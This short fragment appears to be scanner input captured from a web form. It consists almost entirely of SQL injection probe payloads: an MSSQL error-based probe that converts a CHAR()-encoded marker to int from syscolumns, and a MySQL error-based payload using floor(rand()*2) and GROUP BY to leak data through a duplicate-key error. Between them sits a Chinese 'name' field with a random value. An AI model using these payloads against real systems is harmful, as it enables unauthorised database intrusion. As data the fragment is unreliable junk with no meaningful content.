(select convert(int,CHAR(52)+CHAR(67)+CHAR(117)+CHAR(51)+CHAR(111)+CHAR(101)+CHAR(110)+CHAR(121)+CHAR(110)+CHAR(74)+CHAR(102)) FROM syscolumns)
姓名：lxbfYeaa
(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(51),CHAR(111),CHAR(101),CHAR(110),CHAR(121),CHAR(110),CHAR(74),CHAR(102)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
